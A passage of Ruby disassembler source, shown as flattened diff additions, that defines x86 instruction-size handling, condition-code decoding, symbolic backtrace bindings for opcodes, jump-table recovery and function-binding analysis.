di.instruction.args[1].sz = 16 + end + if pfx[:opsz] + di.instruction.args[0].sz = 48-@size + else + di.instruction.args[0].sz = @size + end + elsif op.name == 'crc32' + di.instruction.args[0].sz = 32 + end + + case pfx.delete(:rep) + when :nz + if di.opcode.props[:strop] + pfx[:rep] = 'rep' + elsif di.opcode.props[:stropz] + pfx[:rep] = 'repnz' + end + when :z + if di.opcode.props[:strop] + pfx[:rep] = 'rep' + elsif di.opcode.props[:stropz] + pfx[:rep] = 'repz' + end + end + + di + end + + # converts relative jump/call offsets to absolute addresses + # adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length + # do not call twice on the same di ! + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/ + delta = di.instruction.args.last.reduce + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + # return the list of registers as symbols in the order used by pushad + # for use in backtrace and stuff, for compatibility with x64 + # esp is [4] + REG_SYMS = [:eax, :ecx, :edx, :ebx, :esp, :ebp, :esi, :edi] + def register_symbols + REG_SYMS + end + + # interprets a condition code (in an opcode name) as an expression involving backtracked eflags + # eflag_p is never computed, and this returns Expression::Unknown for this flag + # ex: 'z' => Expression[:eflag_z] + def decode_cc_to_expr(cc) + case cc + when 'o'; Expression[:eflag_o] + when 'no'; Expression[:'!', :eflag_o] + when 'b', 'nae', 'c'; Expression[:eflag_c] + when 'nb', 'ae', 'nc'; Expression[:'!', :eflag_c] + when 'z', 'e'; Expression[:eflag_z] + when 'nz', 'ne'; Expression[:'!', :eflag_z] + when 'be', 'na'; Expression[:eflag_c, :|, :eflag_z] + when 'nbe', 'a'; Expression[:'!', [:eflag_c, :|, :eflag_z]] + when 's'; Expression[:eflag_s] + when 'ns'; Expression[:'!', :eflag_s] + when 'p', 'pe'; Expression::Unknown + when 'np', 'po'; Expression::Unknown + when 'l', 'nge'; Expression[:eflag_s, :'!=', :eflag_o] + when 'nl', 'ge'; Expression[:eflag_s, :==, :eflag_o] + when 'le', 'ng'; Expression[[:eflag_s, :'!=', :eflag_o], :|, :eflag_z] + when 'nle', 'g'; Expression[[:eflag_s, :==, :eflag_o], :&, :eflag_z] + when 'ecxz'; Expression[:'!', register_symbols[1]] + when 'cxz'; Expression[:'!', [register_symbols[1], :&, 0xffff]] + end + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + def opsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size + else @size + end + end + + def adsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size + else @size + end + end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols + ebx = ebx + + mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff + sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] } + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'movsx', 'movsxd' + lambda { |di, a0, a1| + sz1 = di.instruction.args[1].sz + sign1 = Expression[[a1, :>>, sz1-1], :&, 1] + { a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] } + } + when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } } + when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } } + when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb' + lambda { |di, a0, a1| + e_op = { 'add' => :+, 'sub' => :-, 'or' => :|, 'and' => :&, 'xor' => :^, 'pxor' => :^, 'adc' => :+, 'sbb' => :- }[op] + ret = Expression[a0, e_op, a1] + ret = Expression[ret, e_op, :eflag_c] if op == 'adc' or op == 'sbb' + # optimises eax ^ eax => 0 + # avoid hiding memory accesses (to not hide possible fault) + ret = Expression[ret.reduce] if not a0.kind_of? Indirection + { a0 => ret } + } + when 'xadd'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1], a1 => Expression[a0] } } + when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } + when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } + when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask[di]] } } + when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } + when 'rol', 'ror' + lambda { |di, a0, a1| + e_op = (op[2] == ?r ? :>> : :<<) + inv_op = {:<< => :>>, :>> => :<< }[e_op] + sz = [a1, :%, opsz(di)] + isz = [[opsz(di), :-, a1], :%, opsz(di)] + # ror a, b => (a >> b) | (a << (32-b)) + { a0 => Expression[[[a0, e_op, sz], :|, [a0, inv_op, isz]], :&, mask[di]] } + } + when 'sar', 'shl', 'sal'; lambda { |di, a0, a1| { a0 => Expression[a0, (op[-1] == ?r ? :>> : :<<), [a1, :%, [opsz(di), 32].max]] } } + when 'shr'; lambda { |di, a0, a1| { a0 => Expression[[a0, :&, mask[di]], :>>, [a1, :%, opsz(di)]] } } + when 'cwd', 'cdq', 'cqo'; lambda { |di| { Expression[edx, :&, mask[di]] => Expression[mask[di], :*, sign[eax, di]] } } + when 'cbw', 'cwde', 'cdqe'; lambda { |di| + o2 = opsz(di)/2 ; m2 = (1 << o2) - 1 + { Expression[eax, :&, mask[di]] => Expression[[eax, :&, m2], :|, [m2 << o2, :*, [[eax, :>>, o2-1], :&, 1]]] } } + when 'push' + lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8], + Indirection[esp, opsz(di)/8, di.address] => Expression[a0] } } + when 'pop' + lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8], + a0 => Indirection[esp, opsz(di)/8, di.address] } } + when 'pushfd', 'pushf' + # TODO Unknown per bit + lambda { |di| + efl = Expression[0x202] + bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } + bts[0, :eflag_c] + bts[6, :eflag_z] + bts[7, :eflag_s] + bts[11, :eflag_o] + { esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl } + } + when 'popfd', 'popf' + lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] } + { esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } } + when 'sahf' + lambda { |di| bt = lambda { |pos| Expression[[eax, :>>, pos], :&, 1] } + { :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7] } } + when 'lahf' + lambda { |di| + efl = Expression[2] + bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } + bts[0, :eflag_c] #bts[2, :eflag_p] #bts[4, :eflag_a] + bts[6, :eflag_z] + bts[7, :eflag_s] + { eax => efl } + } + when 'pushad' + lambda { |di| + ret = {} + st_off = 0 + register_symbols.reverse_each { |r| + ret[Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address]] = Expression[r] + st_off += opsz(di)/8 + } + ret[esp] = Expression[esp, :-, st_off] + ret + } + when 'popad' + lambda { |di| + ret = {} + st_off = 0 + register_symbols.reverse_each { |r| + ret[r] = Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address] + st_off += opsz(di)/8 + } + ret[esp] = Expression[esp, :+, st_off] # esp is not popped + ret + } + when 'call' + lambda { |di, a0| + sz = opsz(di)/8 + if a0.kind_of? Farptr + { esp => Expression[esp, :-, 2*sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr], + Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } + else + { esp => Expression[esp, :-, sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr] } + end + } + when 'callf' + lambda { |di, a0| + sz = opsz(di)/8 + { esp => Expression[esp, :-, 2*sz], + Indirection[esp, sz, di.address] => Expression[di.next_addr], + Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } } + when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } } + when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } } + when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } } + when 'enter' + lambda { |di, a0, a1| + sz = opsz(di)/8 + depth = a1.reduce % 32 + b = { Indirection[ebp, sz, di.address] => Expression[ebp], + Indirection[[esp, :+, a0.reduce+sz*depth], sz, di.address] => Expression[ebp], + ebp => Expression[esp, :-, sz], + esp => Expression[esp, :-, a0.reduce+sz*depth+sz] } + (1..depth).each { |i| + b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] = + b[Indirection[[ebp, :-, i*sz], sz, di.address]] = + Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] + } + b + } + when 'leave'; lambda { |di| { ebp => Indirection[[ebp], opsz(di)/8, di.address], esp => Expression[ebp, :+, opsz(di)/8] } } + when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } } + when 'imul' + lambda { |di, *a| + if not a[1] + # 1 operand from: store result in edx:eax + bd = {} + m = mask[di] + s = opsz(di) + e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)] + if s == 8 + bd[Expression[eax, :&, 0xffff]] = e + else + bd[Expression[eax, :&, m]] = Expression[e, :&, m] + bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m] + end + # XXX eflags? + next bd + end + + if a[2]; e = Expression[a[1], :*, a[2]] + else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1] + end + { a[0] => e } + } + when 'mul' + lambda { |di, *a| + m = mask[di] + e = Expression[a, :*, [eax, :&, m]] + if opsz(di) == 8 + { Expression[eax, :&, 0xffff] => e } + else + { Expression[eax, :&, m] => Expression[e, :&, m], + Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] } + end + } + when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } + when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } + when /^(stos|movs|lods|scas|cmps)[bwd]$/ + lambda { |di, *a| + next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm) # XXX movsd xmm0, xmm1... + op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/ + e_op = $1 + sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2] + eax_ = Reg.new(0, 8*sz).symbolic + dir = :+ + if di.block and (di.block.list.find { |ddi| ddi.opcode.name == 'std' } rescue nil) + dir = :- + end + pesi = Indirection[esi, sz, di.address] + pedi = Indirection[edi, sz, di.address] + pfx = di.instruction.prefix || {} + bd = + case e_op + when 'movs' + case pfx[:rep] + when nil; { pedi => pesi, esi => Expression[esi, dir, sz], edi => Expression[edi, dir, sz] } + else { pedi => pesi, esi => Expression[esi, dir, [sz ,:*, ecx]], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } + end + when 'stos' + case pfx[:rep] + when nil; { pedi => Expression[eax_], edi => Expression[edi, dir, sz] } + else { pedi => Expression[eax_], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } + end + when 'lods' + case pfx[:rep] + when nil; { eax_ => pesi, esi => Expression[esi, dir, sz] } + else { eax_ => Indirection[[esi, dir, [sz, :*, [ecx, :-, 1]]], sz, di.address], esi => Expression[esi, dir, [sz, :*, ecx]], ecx => 0 } + end + when 'scas' + case pfx[:rep] + when nil; { edi => Expression[edi, dir, sz] } + else { edi => Expression::Unknown, ecx => Expression::Unknown } + end + when 'cmps' + case pfx[:rep] + when nil; { edi => Expression[edi, dir, sz], esi => Expression[esi, dir, sz] } + else { edi => Expression::Unknown, esi => Expression::Unknown, ecx => Expression::Unknown } + end + end + bd[:incomplete_binding] = Expression[1] if pfx[:rep] + bd + } + when 'clc'; lambda { |di| { :eflag_c => Expression[0] } } + when 'stc'; lambda { |di| { :eflag_c => Expression[1] } } + when 'cmc'; lambda { |di| { :eflag_c => Expression[:'!', :eflag_c] } } + when 'cld'; lambda { |di| { :eflag_d => Expression[0] } } + when 'std'; lambda { |di| { :eflag_d => Expression[1] } } + when 'setalc'; lambda { |di| { Reg.new(0, 8).symbolic => Expression[:eflag_c, :*, 0xff] } } + when /^set/; lambda { |di, *a| { a[0] => Expression[decode_cc_to_expr(op[/^set(.*)/, 1])] } } + when /^cmov/; lambda { |di, *a| fl = decode_cc_to_expr(op[/^cmov(.*)/, 1]) ; { a[0] => Expression[[fl, :*, a[1]], :|, [[1, :-, fl], :*, a[0]]] } } + when /^j/ + lambda { |di, a0| + ret = { 'dummy_metasm_0' => Expression[a0] } # mark modr/m as read + if fl = decode_cc_to_expr(op[/^j(.*)/, 1]) and fl != Expression::Unknown + ret['dummy_metasm_1'] = fl # mark eflags as read + end + ret + } + when 'fstenv', 'fnstenv' + lambda { |di, a0| + # stores the address of the last non-control fpu instr run + lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi| + case pdi.opcode.name + when /fn?init|fn?clex|fldcw|fn?st[cs]w|fn?stenv|fldenv|fn?save|frstor|f?wait/ + when /^f/; true + end + } if di.block + lastfpuinstr = lastfpuinstr.address if lastfpuinstr + ret = {} + save_at = lambda { |off, val| ret[Indirection[a0.target + off, 4, di.address]] = val } + save_at[0, Expression::Unknown] + save_at[4, Expression::Unknown] + save_at[8, Expression::Unknown] + save_at[12, lastfpuinstr || Expression::Unknown] + save_at[16, Expression::Unknown] + save_at[20, Expression::Unknown] + save_at[24, Expression::Unknown] + ret + } + when 'bt'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1] } } + when 'bts'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], + a0 => Expression[a0, :|, [1, :<<, [a1, :%, opsz(di)]]] } } + when 'btr'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], + a0 => Expression[a0, :&, [[1, :<<, [a1, :%, opsz(di)]], :^, mask[di]]] } } + when 'btc'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], + a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } } + when 'bswap' + lambda { |di, a0| + case opsz(di) + when 64 + { a0 => Expression[ + [[[[a0, :&, 0xff000000_00000000], :>>, 56], :|, + [[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|, + [[[a0, :&, 0x0000ff00_00000000], :>>, 24], :|, + [[a0, :&, 0x000000ff_00000000], :>>, 8]]], :|, + [[[[a0, :&, 0x00000000_ff000000], :<<, 8], :|, + [[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|, + [[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|, + [[a0, :&, 0x00000000_000000ff], :<<, 56]]]] } + when 32 + { a0 => Expression[ + [[[a0, :&, 0xff000000], :>>, 24], :|, + [[a0, :&, 0x00ff0000], :>>, 8]], :|, + [[[a0, :&, 0x0000ff00], :<<, 8], :|, + [[a0, :&, 0x000000ff], :<<, 24]]] } + when 16 + # bswap ax => mov ax, 0 + { a0 => 0 } + end + } + when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} } + end + + # add eflags side-effects + + full_binding = case op + when 'adc', 'add', 'and', 'cmp', 'or', 'sbb', 'sub', 'xor', 'test', 'xadd' + lambda { |di, a0, a1| + e_op = { 'adc' => :+, 'add' => :+, 'xadd' => :+, 'and' => :&, 'cmp' => :-, 'or' => :|, 'sbb' => :-, 'sub' => :-, 'xor' => :^, 'test' => :& }[op] + res = Expression[[a0, :&, mask[di]], e_op, [a1, :&, mask[di]]] + res = Expression[res, e_op, :eflag_c] if op == 'adc' or op == 'sbb' + + ret = (binding ? binding[di, a0, a1] : {}) + ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] + ret[:eflag_s] = sign[res, di] + ret[:eflag_c] = case e_op + when :+; Expression[res, :>, mask[di]] + when :-; Expression[[a0, :&, mask[di]], :<, [a1, :&, mask[di]]] + else Expression[0] + end + ret[:eflag_o] = case e_op + when :+; Expression[[sign[a0, di], :==, sign[a1, di]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] + when :-; Expression[[sign[a0, di], :==, [:'!', sign[a1, di]]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] + else Expression[0] + end + ret + } + when 'inc', 'dec', 'neg', 'shl', 'shr', 'sar', 'ror', 'rol', 'rcr', 'rcl', 'shld', 'shrd' + lambda { |di, a0, *a| + ret = (binding ? binding[di, a0, *a] : {}) + res = ret[a0] || Expression::Unknown + ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] + ret[:eflag_s] = sign[res, di] + case op + when 'neg'; ret[:eflag_c] = Expression[[res, :&, mask[di]], :'!=', 0] + when 'inc', 'dec' # don't touch carry flag + else ret[:eflag_c] = Expression::Unknown # :incomplete_binding ? + end + ret[:eflag_o] = case op + when 'inc'; Expression[[a0, :&, mask[di]], :==, mask[di] >> 1] + when 'dec'; Expression[[res , :&, mask[di]], :==, mask[di] >> 1] + when 'neg'; Expression[[a0, :&, mask[di]], :==, (mask[di]+1) >> 1] + else Expression::Unknown + end + ret + } + when 'imul', 'mul', 'idiv', 'div', /^(scas|cmps)[bwdq]$/ + lambda { |di, *a| + ret = (binding ? binding[di, *a] : {}) + ret[:eflag_z] = ret[:eflag_s] = ret[:eflag_c] = ret[:eflag_o] = Expression::Unknown # :incomplete_binding ? + ret + } + end + + @backtrace_binding[op] ||= full_binding || binding if full_binding || binding + } + @backtrace_binding + end + + # returns the condition (bool Expression) under which a conditionnal jump is taken + # returns nil if not a conditionnal jump + # backtrace for the condition must include the jump itself (eg loop -> ecx--) + def get_jump_condition(di) + ecx = register_symbols[1] + case di.opcode.name + when /^j(.*)/ + decode_cc_to_expr($1) + when /^loop(.+)?/ + e = Expression[ecx, :'!=', 0] + e = Expression[e, :'||', decode_cc_to_expr($1)] if $1 + e + end + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when ModRM, Reg, SimdReg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = binding[di, *a] + # handle modifications to al/ah etc + bd.keys.grep(Expression).each { |e| + # must be in the form (x & mask), with x either :reg or (:reg >> shift) eg ah == ((eax >> 8) & 0xff) + if e.op == :& and mask = e.rexpr and mask.kind_of? Integer + reg = e.lexpr + reg = reg.lexpr if reg.kind_of? Expression and reg.op == :>> and shift = reg.rexpr and shift.kind_of? Integer + next if not reg.kind_of? Symbol + if bd.has_key? reg + # xchg ah, al ; pop sp.. + puts "backtrace: conflict for #{di}: #{e} vs #{reg}" if $VERBOSE + bd[reg] = Expression::Unknown + next + end + val = bd.delete e + mask <<= shift if shift + invmask = mask ^ (@size == 64 ? 0xffff_ffff_ffff_ffff : 0xffff_ffff) + if invmask == 0xffff_ffff_0000_0000 and not di.opcode.props[:op32no64] + bd[reg] = Expression[val, :&, 0xffff_ffff] + elsif invmask == 0 + bd[reg] = val + else + val = Expression[val, :<<, shift] if shift + bd[reg] = Expression[[reg, :&, invmask], :|, [val, :&, mask]] + end + end + } + bd + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + end + + # patch a forward binding from the backtrace binding + # fixes fwdemu for push/pop/call/ret + def fix_fwdemu_binding(di, fbd) + if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ } + fbd = fbd.dup + fbd[:incomplete_binding] = Expression[1] + end + + case di.opcode.name + when 'push', 'call' + fbd = fbd.dup + sz = opsz(di)/8 + esp = register_symbols[4] + if i = fbd.delete(Indirection[esp, sz]) + fbd[Indirection[[esp, :-, sz], sz]] = i + end + when 'pop', 'ret' # nothing to do + when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/ + fbd = fbd.dup + fbd[:incomplete_binding] = Expression[1] # TODO + end + fbd + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + sz = opsz(di) + case di.opcode.basename + when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]] + when 'jmp', 'call' + a = di.instruction.args.first + if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm) + return get_xrefs_x_jmptable(dasm, di, a, a.s*8) + end + end + + case tg = di.instruction.args.first + when ModRM + tg.sz ||= sz if tg.kind_of? ModRM + [Expression[tg.symbolic(di)]] + when Reg; [Expression[tg.symbolic(di)]] + when Expression, ::Integer; [Expression[tg]] + when Farptr; tg.seg.reduce < 0x30 ? [tg.addr] : [Expression[[tg.seg, :*, 0x10], :+, tg.addr]] + else + puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG + [] + end + end + + # we detected a jmp table (jmp [base+4*idx]) + # try to return an accurate dest list + def get_xrefs_x_jmptable(dasm, di, mrm, sz) + # include the symbolic dest for backtrack stuff + ret = [Expression[mrm.symbolic(di)]] + i = mrm.i + if di.block.list.length == 2 and di.block.list[0].opcode.name =~ /^mov/ and a0 = di.block.list[0].instruction.args[0] and + a0.respond_to? :symbolic and a0.symbolic == i.symbolic + i = di.block.list[0].instruction.args[1] + end + pb = di.block.from_normal.to_a + if pb.length == 1 and pdi = dasm.decoded[pb[0]] and pdi.opcode.name =~ /^jn?be?/ and ppdi = pdi.block.list[-2] and ppdi.opcode.name == 'cmp' and + ppdi.instruction.args[0].symbolic == i.symbolic and lim = Expression[ppdi.instruction.args[1]].reduce and lim.kind_of? Integer + # cmp eax, 42 ; jbe switch ; switch: jmp [base+4*eax] + s = dasm.get_section_at(mrm.imm) + lim += 1 if pdi.opcode.name[-1] == ?e + lim.times { |v| + dasm.add_xref(s[1]+s[0].ptr, Xref.new(:r, di.address, sz/8)) + ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] + s[0].read(sz/8) + } + l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref') + replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l]) + # add 'case 1' comments + cases = {} + ret.each_with_index { |ind, idx| + idx -= 1 # ret[0] = symbolic + next if idx < 0 + a = dasm.backtrace(ind, di.address) + if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer) + (cases[addr] ||= []) << idx + end + } + cases.each { |addr, list| + dasm.add_comment(addr, "case #{list.join(', ')}:") + } + return ret + end + + puts "unrecognized jmp table pattern, using wild guess for #{di}" if $VERBOSE + di.add_comment 'wildguess' + if s = dasm.get_section_at(mrm.imm - 3*sz/8) + v = -3 + else + s = dasm.get_section_at(mrm.imm) + v = 0 + end + while s[0].ptr < s[0].length + ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness) + diff = Expression[ptr, :-, di.address].reduce + if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr)) + dasm.add_xref(s[1]+s[0].ptr-sz/8, Xref.new(:r, di.address, sz/8)) + ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] + elsif v > 0 + break + end + v += 1 + end + ret + end + + # checks if expr is a valid return expression matching the :saveip instruction + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of? Indirection and expr.len == @size/8 and expr.target == Expression[register_symbols[4]] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + # XXX assume retaddrlist is either a list of addr of ret or a list with a single entry which is an external function name (thunk) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + esp, ebp = register_symbols[4, 2] + + # XXX handle retaddrlist for multiple/mixed thunks + if retaddrlist and not dasm.decoded[retaddrlist.first] and di = dasm.decoded[faddr] + # no return instruction, must be a thunk : find the last instruction (to backtrace from it) + done = [] + while ndi = dasm.decoded[di.block.to_subfuncret.to_a.first] || dasm.decoded[di.block.to_normal.to_a.first] and ndi.kind_of? DecodedInstruction and not done.include? ndi.address + done << ndi.address + di = ndi + end + if not di.block.to_subfuncret.to_a.first and di.block.to_normal and di.block.to_normal.length > 1 + thunklast = di.block.list.last.address + end + end + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown # TODO :pending or something ? (for recursive lazy functions) + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], (thunklast ? thunklast : retaddr), + :include_start => true, :snapshot_addr => faddr, :origin => retaddr, :from_subfuncret => thunklast) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + if dasm.function_blocks(faddr, true).length < 20 + register_symbols.each(&bt_val) + else + [ebp, esp].each(&bt_val) + end + end + + backtrace_update_function_binding_check(dasm, faddr, f, b, &bt_val) + + b + end + + def backtrace_update_function_binding_check(dasm, faddr, f, b) + sz = @size/8 + if b[:ebp] and b[:ebp] != Expression[:ebp] + # may be a custom 'enter' function (eg recent Visual Studio) + # TODO put all memory writes in the binding ? + [[:ebp], [:esp, :+, 1*sz], [:esp, :+, 2*sz], [:esp, :+, 3*sz]].each { |ptr| + ind = Indirection[ptr, sz, faddr] + yield(ind) + b.delete(ind) if b[ind] and not [:ebx, :edx, :esi, :edi, :ebp].include? b[ind].reduce_rec + } + end + if dasm.funcs_stdabi + if b[:esp] and b[:esp] == Expression::Unknown and not f.btbind_callback + puts "update_func_bind: #{Expression[faddr]} has esp -> unknown, use dynamic callback" if $DEBUG + f.btbind_callback = disassembler_default_btbind_callback + end + [:ebp, :ebx, :esi, :edi].each { |reg| + if b[reg] and b[reg] == Expression::Unknown + puts "update_func_bind: #{Expression[faddr]} has #{reg} -> unknown, presume it is preserved" if $DEBUG + b[reg] = Expression[reg] + end + } + else + if b[:esp] and not Expression[b[:esp], :-, :esp].reduce.kind_of?(::Integer) + puts "update_func_bind: #{Expression[faddr]} has esp -> #{b[:esp]}" if $DEBUG + end + end + + # rename some functions + # TODO database and real signatures + rename = + if b[:eax] and Expression[b[:eax], :-, faddr].reduce == 0 + 'geteip' # metasm pic linker + elsif b[:eax] and b[:ebx] and Expression[b[:eax], :-, :eax].reduce == 0 and Expression[b[:ebx], :-, Indirection[:esp, sz, nil]].reduce == 0 + 'get_pc_thunk_ebx' # elf pic convention + elsif b[:esp] and Expression[b[:esp], :-, [:esp, :-, Indirection[[:esp, :+, 2*sz], sz]]].reduce.kind_of? ::Integer and + dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } + '__SEH_prolog' + elsif b[:esp] == Expression[:ebp, :+, sz] and + dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } + '__SEH_epilog' + end + dasm.auto_label_at(faddr, rename, 'loc', 'sub') if rename + end + + # returns true if the expression is an address on the stack + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include? register_symbols[4] + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when ModRM + a.imm = (a.imm == old ? new : Expression[a.imm.bind(old => new).reduce]) if a.imm + a + else a + end + } + end + + # returns a DecodedFunction from a parsed C function prototype + # TODO rebacktrace already decoded functions (load a header file after dasm finished) + # TODO walk structs args + def decode_c_function_prototype(cp, sym, orig=nil) + sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) + df = DecodedFunction.new + orig ||= Expression[sym.name] + + new_bt = lambda { |expr, rlen| + df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) + } + + # return instr emulation + if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' + df.noreturn = true + else + new_bt[Indirection[:esp, @size/8, orig], nil] + end + + # register dirty (XXX assume standard ABI) + [:eax, :ecx, :edx].each { |r| + df.backtrace_binding.update r => Expression::Unknown + } + + # emulate ret + al = cp.typesize[:ptr] + stackoff = al + if sym.has_attribute 'fastcall' + stackoff = sym.type.args.to_a[2..-1].to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } + elsif sym.has_attribute 'stdcall' + stackoff = sym.type.args.to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } + end + df.backtrace_binding[:esp] = Expression[:esp, :+, stackoff] + + # scan args for function pointers + # TODO walk structs/unions.. + stackoff = al + sym.type.args.to_a.each { |a| + p = Indirection[[:esp, :+, stackoff], al, orig] + stackoff += (cp.sizeof(a) + al - 1) / al * al + if a.type.untypedef.kind_of? C::Pointer + pt = a.type.untypedef.type.untypedef + if pt.kind_of? 